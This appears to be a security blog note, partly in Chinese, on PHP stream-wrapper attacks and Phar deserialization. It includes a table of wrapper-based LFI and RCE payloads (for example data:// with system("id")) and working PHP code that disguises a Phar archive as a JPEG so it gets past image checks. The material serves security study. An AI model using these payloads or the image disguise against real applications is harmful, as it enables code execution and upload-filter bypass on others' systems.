PHP Wrappers and Phar unserialize

PHP Wrappers

For All

wrapper or protocol controllable function allow_url _include vulnerability type remark
file:// - Off LFI / File Manipulation
glob:// - Off Directory Traversal
php://filter/read include Off File Disclosure php://filter/read=convert.base64-encode/resource=index.php
php://filter/write file_put_contents Off Encoding file_put_contents("php://filter/write=string.rot13/resource=x.txt","content");
php://input include On RCE <?php system('cat x.php');?>
data:// include On RCE data:text/plain,<?php system("id")?> OR data:text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpPz4=
zip:// include + uploaded file Off RCE
phar:// include + uploaded file Off RCE PHP version >= 5.3

Remote

file:// http:// ftp:// data://

  • RFI
    include($_GET[‘module’]);
  • SSRF
    file_get_contents($_GET[‘url’]);
  • XXE
    <! ENTITY xxe SYSTEM “http://example.com”>

*allow_url_fopen=true

Input and Filtering

  • LFI -> Source code reading:
    php://filter/convert.base64-encode/resource=index.php

  • File writing
    Similar to source code reading, if we have a file write vulnerability which writes undesirable content (e.g. “<?php exit()” before our controlled value) we can base64 decode it[3].

Directory Listing

  • glob://

Fhjtzj55Dker-UkroNVoL4dSBj_-

Archive

  • zip://
  • phar://

Phar more

Ingredients of all Phar archives, independent of file format

All Phar archives contain three to four sections:

  • a stub
    • A Phar's stub is a simple PHP file.
      The smallest possible stub follows:
      <?php __HALT_COMPILER();
      A stub must contain as a minimum, the __HALT_COMPILER(); token at its conclusion. Typically, a stub will contain loader functionality like so:
<?php
Phar::mapPhar();
include 'phar://myphar.phar/index.php';
__HALT_COMPILER();

其中需要注意的是,stub的内容除了必须以__HALT_COMPILER();?>结尾之外没有其他限制。

  • a manifest describing the contents
    • The phar file format is literally laid out as stub/manifest/contents/signature, and stores the crucial information of what is included in the phar archive in its manifest.
      FrN4wUH29haM7IIt6a0ywaCeiGPq
      其中,倒数第二部分为一段序列化内容。
  • the file contents
  • [optional] a signature for verifying Phar integrity (phar file format only)

http://us3.php.net/manual/en/phar.fileformat.ingredients.php
FhkEAG5O7lPvF1rVOm3PPbQ-lXPi
Fk061EQdD7NcSYyCEKNJX0LtijB_
FjrDY_AhkG414cd2gUkSfOeDC29o
将file_get_contents换为file_exists/is_dir等文件系统函数时,仍可达到效果,并且与test.txt文件是否存在无关。

Phar Basic Attack Methodology

上传并包含文件。
需要注意的是,只能触发__destruct和__wakeup,以及phar文件必须绝对路径访问。
wordpress example:https://paper.seebug.org/680/

Phar Unserialize

Todo:
https://www.xmsec.cc/pcbctf-web-misc-wp/#Babyyt2
https://xz.aliyun.com/t/2958

Disguise Phar Packages As Images

  • one step
<?php
class TestObject {}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
xx:~$ file phar.jpeg 
phar.jpeg: JPEG image data
xx:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
  • and then
xx:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)

补全其他信息

<?php
class TestObject {}

$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
xx:~$ file phar.jpeg 
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
xx:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
  [0] =>
  int(10)
  [1] =>
  int(10)
  [2] =>
  int(2)
  [3] =>
  string(22) "width="10" height="10""
  'bits' =>
  int(8)
  'channels' =>
  int(3)
  'mime' =>
  string(10) "image/jpeg"
}
  • 基于BlackHat总结此笔记,添加部分其他内容及积累的笔记,引用部分内容未能完全理解,如有错误请指出。

Refer

1.DISGUISE PHAR PACKAGES AS IMAGES
2.BlackHat2018
3.php-filter-magic
4.PHP: Supported Protocols and Wrappers
5.Exploit with PHP Protocols / Wrappers

Updated At: Author:xmsec
Chief Water dispenser Manager, delivering but striving.
Github
comments powered by Disqus